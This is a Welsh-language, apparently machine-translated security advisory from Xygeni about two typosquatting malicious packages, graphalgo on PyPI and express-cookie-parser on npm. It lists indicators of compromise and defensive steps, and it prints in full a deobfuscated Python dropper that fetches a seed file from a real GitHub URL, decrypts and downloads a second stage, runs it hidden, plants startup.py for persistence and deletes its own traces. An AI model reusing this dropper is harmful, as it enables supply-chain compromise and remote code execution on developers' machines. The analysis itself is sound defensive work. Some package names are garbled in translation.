Yn ddiweddar, gwelodd Xygeni batrwm pryderus yn nhirwedd ymosodiadau cadwyn gyflenwi meddalwedd yn 2025., yn dod i'r amlwg ar draws dau reolwr pecynnau poblogaidd: PyPI ac npmFel rhan o'n hymdrechion parhaus i gasglu gwybodaeth am fygythiadau,Rhybudd Cynnar Maleisus Xygeni (MEW) Nododd offeryn enghraifft benodol ond tebyg yn fethodolegol o becyn maleisus a uwchlwythwyd i gofrestrfa arall yn flaenorol. Mae'r achos hwn yn tynnu sylw at sut mae actorion bygythiad yn esblygu ac yn ailddefnyddio technegau ymosod ar draws ecosystemau, yn enwedig drwy pecynnau Python maleisus ac pecynnau npm maleisus, sy'n cynyddu'r risg o becynnau maleisus yn treiddio i gadwyni cyflenwi ffynhonnell agored.
MEW Xygeni: Canfod y Tebygrwyddau
Mae offeryn MEW Xygeni wedi'i adeiladu i ganfod a nodi pecynnau maleisus, yn enwedig y rhai sy'n gysylltiedig ag Ymosodiadau Cadwyn Gyflenwi Meddalwedd yn 2025, cyn gynted ag y cânt eu cyhoeddi i gofrestrfeydd ffynhonnell agored. Mae'n gweithio trwy ddadansoddi pecynnau newydd am ymddygiad amheus.
Yn yr achos hwn, nododd ddau pecynnau Python maleisus (graphalgo ar PyPI) a pecynnau npm maleisus (express-cookie-parser ar npm).
Pecynnau Python ac npm maleisus mewn Ymosodiadau Cadwyn Gyflenwi Meddalwedd (2025)
Gadewch i ni archwilio'r nodweddion cyffredin a sbardunodd ein rhybuddion:
Typosquating
Ceisiodd y ddau efelychu pecynnau poblogaidd a oedd yn bodoli eisoes.
- graffalgo (PyPI): "Pecyn Python ar gyfer creu a thrin graffiau a rhwydweithiau."Wedi'i uwchlwytho gan ddefnyddiwr o'r enw “larrytech” ar 13 Mehefin, 2025, cyflwynodd y pecyn hwn ei hun fel dewis arall PyPi i'r prosiect graphalgo gwreiddiol nad yw'n faleisus, a gafodd ei ailenwi'n graphdict yn ddiweddarach.
- dadansoddydd-cwcis-express (npm)Roedd y pecyn hwn yn dynwared y pecyn cwcis-parser adnabyddus, hyd yn oed yn adlewyrchu ei README.md. Mae dynwared o'r fath yn dacteg glasurol i fanteisio ar ymddiriedaeth sy'n bodoli eisoes.
Drysu fel Llinell Amddiffyn Gyntaf
Fe wnaeth y ddau becyn guddio eu cod maleisus o fewn y ffeiliau gwreiddiol. graffalgo, daethpwyd o hyd i'r cod wedi'i guddio o fewn /utils/load_libraries.py. Yn achos dadansoddydd-cwcis-cyflym, cookie-loader.min.js yn cynnwys y llwyth tâl wedi'i guddio.
Defnyddir yr haen gychwynnol hon o gymylu fel arfer i rwystro archwiliad achlysurol a dadansoddiad statig. Roedd y cymylu yn eithaf syml: cywasgu ZLib dro ar ôl tro ynghyd ag amgodio Base64. Mae'r math hwn o gymylu yn dangos yn glir bod y feddalwedd yn ceisio cuddio ei hymddygiad. Ynghyd â thystiolaeth arall, caniataodd hyn i Xygeni MEW ddosbarthu'r pecynnau fel meddalwedd faleisus posibl. Yn ystod y cam cadarnhau, paratôdd ein hadolygwyr sgript dad-gymylu ar unwaith a ddatgelodd y cam gollwng maleisus amlwg.
Dosbarthu Llwyth Talu Aml-Gam a Phwynt Tarddiad a Rennir
Roedd y ddau becyn yn gweithredu fel “cychwynnol”droppers,” gan osod y llwyfan ar gyfer y llwyth tâl go iawn. Roeddent yn rhannu allanol cyffredin “hadau"URL ffeil:https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
Mae'r ffeil hadau allanol union yr un fath hon yn arwydd cryf o actor bygythiad a rennir. Yn ddiddorol, mae cynnwys y ffeil hadau hon yn ymddangos fel newidynnau amgylcheddol syml (e.e., JWT_SECRET, PORT), a allai gamarwain archwiliad o'i swyddogaeth wirioneddol.
Datrysiad C2 Dynamig gyda DGA
Tacteg soffistigedig a welwyd yn y pecynnau maleisus hyn yw defnyddio Algorithm Cynhyrchu Parth (DGA) i ddatrys y gweinydd Gorchymyn a Rheoli (C2) yn ddeinamig. Mae'r dechneg hon, a welir yn aml mewn ymosodiadau cadwyn gyflenwi meddalwedd uwch yn 2025, yn dibynnu ar hash SHA256 sy'n deillio o gynnwys y ffeil hadau, ynghyd â gwerthoedd caled-godio eraill. Drwy wneud hynny, mae'r seilwaith C2 yn newid yn aml, gan wneud rhestru du traddodiadol yn llawer llai effeithiol. Yn yr achos hwn, defnyddiodd yr amrywiad npm werth sefydlog o 496AAC7E fel rhan o'i rhesymeg DGA.
Sefydlu Dyfalwch
Ceisiodd y ddau ymosodwr sefydlu presenoldeb parhaol ar systemau yr effeithiwyd arnynt. Roedd eu strategaeth yn cynnwys gollwng ffeil, startup.py (ar gyfer PyPi) neu startup.js (ar gyfer npm), i gyfeiriaduron data defnyddwyr cyffredin Google Chrome ar draws gwahanol systemau gweithredu (Windows, Linux, macOS).
Glanhau Ôl-Weithredu
Er mwyn lleihau olion, perfformiodd y ddau sgript maleisus weithrediadau glanhau. Roedd hyn yn cynnwys dileu eu ffeiliau gollwng cychwynnol (load_libraries.py, cookie-loader.min.js) ac addasu ffeiliau pecyn cyfreithlon (__init__.py, index.js) i gael gwared ar y cyfeiriadau at y cydrannau sydd bellach wedi'u dileu.
Dangosyddion o Gyfaddawd mewn Pecynnau Python ac npm Maleisus
- Pecyn PyPI: graphalgo (cyhoeddwyd gan larrytech, 13 Mehefin, 2025)
- Pecyn npm: express-cookie-parser (fersiwn 1.4.12 yn benodol)
- Mynediad i URL Hadau a Rennir:
https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
- Enwau Ffeiliau Parhaus:
startup.py(Python)startup.js(JavaScript) - Llwybrau Parhaus Cyffredin (yn ddibynnol ar y system weithredu)O fewn cyfeiriaduron data defnyddwyr Google Chrome (e.e.,
AppData\Local\Google\Chrome\UserData\Scripts\ar Windows,~/.config/google-chrome/Scripts/ar Linux, ac ati).
Sut i Amddiffyn yn Erbyn Pecynnau Maleisus mewn Ymosodiadau Cadwyn Gyflenwi Meddalwedd 2025
Dull Argymhelliedig ar gyfer Datblygwyr
Mae'r digwyddiad hwn yn astudiaeth achos werthfawr yn nhirwedd bygythiadau esblygol ymosodiadau cadwyn gyflenwi meddalwedd yn 2025. Mae'n tynnu sylw at sut y gall pecynnau Python maleisus a phecynnau npm maleisus lithro i ecosystemau dibynadwy, gan osgoi canfod yn aml nes ei bod hi'n rhy hwyr. Dyna pam mae canfod cynnar, offer clyfar, a hylendid system rhagweithiol bellach yn rhannau hanfodol o unrhyw lif gwaith DevOps diogel. Anogir datblygwyr i ystyried y canlynol:
Adolygiad Dibyniaeth
Os yw eich prosiectau wedi cynnwys graffalgo or dadansoddydd-cwcis-cyflym, byddai'n ddoeth bwrw ymlaen â'u symud.
- Ar gyfer PyPI:
pip uninstall graphalgo - Ar gyfer npm:
npm uninstall express-cookie-parser
Hylendid System
Ystyriwch gynnal sgan system cynhwysfawr. Mae hefyd yn ddoeth gwirio llwybrau cyfeiriadur data defnyddwyr Chrome cyffredin â llaw am unrhyw bethau annisgwyl. startup.py or startup.js ffeiliau.
Mesurau Diogelwch Rhagweithiol
- Asesu Dibyniaethau NewyddSefydlu trefn i werthuso pecynnau newydd yn drylwyr cyn integreiddio, gan ganolbwyntio ar y rhai gan gyhoeddwyr anghyfarwydd.
- Integreiddio Offer DiogelwchOffer fel MEW Xygeni, ynghyd â Dadansoddi Cyfansoddiad Meddalwedd arall (SCA) atebion, yn gallu darparu haen hanfodol o amddiffyniad trwy nodi ymddygiadau amheus a gwendidau.
- Braint LeiafGall gweithredu amgylcheddau datblygu gyda'r egwyddor o leiafswm breintiau helpu i gyfyngu ar effaith bosibl cyfaddawd.
- Ymwybyddiaeth RhwydwaithGall monitro traffig rhwydwaith allanol am gysylltiadau anarferol ddatgelu cyfathrebiadau C2 a gynhyrchir gan DGA weithiau.
Cydrannau Allweddol o load_libraries.py (o graphalgo)
import os
import sys
import subprocess
import base64
import hashlib
import time
from urllib.request import urlopen, Request
url_b64 = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2pvaG5zOTIvYmxvZ19hcHAvcmVmcy9oZWFkcy9tYWluL3NlcnZlci8uZW52LmV4YW1wbGU="
remove_url = base64.b64decode(url_b64).decode()
python_path = sys.executable
def download_remote_content(url, output_path):
try:
req = Request(url, headers={"User-Agent": "Mozilla/5.0"})
with urlopen(req) as response, open(output_path, "wb") as out_file:
if response.status != 200:
print(f"Failed to download the file. Status code: {response.status}")
return False
data = response.read()
out_file.write(data)
return True
except Exception as e:
print(f"Download failed: {e}")
return False
def run_process(path_to_script, params=[]):
if sys.platform.startswith("win"):
creationflags = subprocess.CREATE_NO_WINDOW
subprocess.Popen(
[sys.executable, path_to_script, *params],
creationflags=creationflags,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL
)
else:
subprocess.Popen(
[sys.executable, path_to_script, *params],
start_new_session=True,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
close_fds=True
)
def get_output_file_path():
py_file_path = None
home_dir = os.path.expanduser("~")
platform = os.sys.platform
if platform.startswith("win"):
py_file_path = os.path.join(home_dir, "AppData", "Local", "Google", "Chrome", "User Data")
elif platform.startswith("linux"):
py_file_path = os.path.join(home_dir, ".config", "google-chrome")
elif platform == "darwin":
py_file_path = os.path.join(home_dir, "Library", "Application Support", "Google", "Chrome")
if not os.path.exists(py_file_path):
if platform.startswith("win"):
py_file_path = os.path.join(home_dir, "AppData", "Local")
elif platform.startswith("linux"):
py_file_path = os.path.join(home_dir, ".config")
elif platform == "darwin":
py_file_path = os.path.join(home_dir, "Library", "Application Support")
# Ensure base directory exists
os.makedirs(py_file_path, exist_ok=True)
script_path = os.path.join(py_file_path, "Scripts")
os.makedirs(script_path, exist_ok=True)
py_file_path = os.path.join(script_path, "startup.py")
return py_file_path
def remove_self():
# Remove this script file
os.remove(__file__)
# Remove \'graph_settings.py\' in the same directory
graph_settings_path = os.path.join(os.path.dirname(__file__), "graph_settings.py")
if os.path.exists(graph_settings_path):
os.remove(graph_settings_path)
# Modify \'../classes/digraph.py\' if it exists
graph_file_path = os.path.join(os.path.dirname(__file__), "..", "classes", "digraph.py")
graph_file_path = os.path.abspath(graph_file_path) # Normalize path
init_file_path = os.path.join(os.path.dirname(__file__), "__init__.py")
init_file_path = os.path.abspath(init_file_path) # Normalize path
# replace content of the __init__.py file
if os.path.exists(init_file_path):
with open(init_file_path, \'r\', encoding=\'utf-8\') as file:
file_content = file.read()
updated_content = file_content \\
.replace("from networkx.utils.graph_settings import *", "") \\
.replace("from networkx.utils.load_libraries import *", "")
with open(init_file_path, \'w\', encoding=\'utf-8\') as file:
file.write(updated_content)
# replace content of the __init__.py file
if os.path.exists(graph_file_path):
with open(graph_file_path, \'r\', encoding=\'utf-8\') as file:
file_content = file.read()
updated_content = file_content \\
.replace("nx.utils.graph_settings.init_graph(self.graph, attr)", "") \\
with open(graph_file_path, \'w\', encoding=\'utf-8\') as file:
file.write(updated_content)
def simple_shift_encrypt(text, password):
key = int(hashlib.sha256(password).hexdigest(), 16)
encrypted_bytes = bytes([(ord(char) + (key % 256)) % 256 for char in text])
return base64.encode(encrypted_bytes).decode()
def simple_shift_decrypt(encoded_text, password):
key = int(hashlib.sha256(password).hexdigest(), 16)
encrypted_bytes = base64.b64decode(encoded_text)
decrypted = \'\'.join([chr((b - (key % 256)) % 256) for b in encrypted_bytes])
return decrypted
def load_libraries(key):
max_retry_count = 3
output_file_path = get_output_file_path()
encoded = "6PT08PO6r6/j7+Tl8O/v7K7j7O/15K/w9eLs6eOv8/Th8vT18K7w+b/25fK9sa6ypvT58OW97e/k9ezl"
for _ in range(max_retry_count):
if not download_remote_content(remove_url, output_file_path):
time.sleep(2)
continue
download_url = ""
with open(output_file_path, "rb") as f:
file_content = f.read()
sha256_hash = hashlib.sha256()
sha256_hash.update(file_content + key.encode())
password = sha256_hash.digest()
download_url = simple_shift_decrypt(encoded, password)
if not download_url or not download_remote_content(download_url, output_file_path):
time.sleep(2)
continue
os.chmod(output_file_path, 0o755)
run_process(output_file_path)
time.sleep(1)
remove_self()
break
if __name__ == "__main__":
if len(sys.argv) >= 2:
load_libraries(sys.argv[1])
download_remote_content(): Yn trin nôl ffeiliau o URLau penodedig.run_process()Yn gweithredu sgriptiau Python allanol mewn modd datgysylltiedig, gan atal allbwn i aros yn ddisylw.get_output_file_path(): Yn pennu'r lleoliad system delfrydol ar gyfer y ffeil startup.py parhaus.remove_self(): Yn trefnu'r glanhau ôl-weithredu o'r ffeiliau maleisus cychwynnol a'r addasiadau pecynnau.simple_shift_encrypt()/simple_shift_decrypt()Swyddogaethau cryptograffig personol ar gyfer cuddio sianeli cyfathrebu, sy'n hanfodol ar gyfer gweithredu'r DGA.load_libraries(): Y swyddogaeth ganolog sy'n cydlynu'r broses aml-gam gyfan, o'r lawrlwythiad cychwynnol i weithredu a glanhau'r llwyth tâl terfynol.
Wedi hynny
Fel gyda phecynnau maleisus eraill a nodwyd gan MEW, amddiffynnodd y wal dân dibyniaeth ddefnyddwyr a fyddai'n cynnwys y pecynnau maleisus hyn yn eu dibyniaethau ar unwaith. Ar ôl cadarnhad, dilynwyd y gweithdrefnau hysbysu ar gyfer y ddau gofrestrfa, a ar ôl adolygiad tynnwyd y ddau becyn.







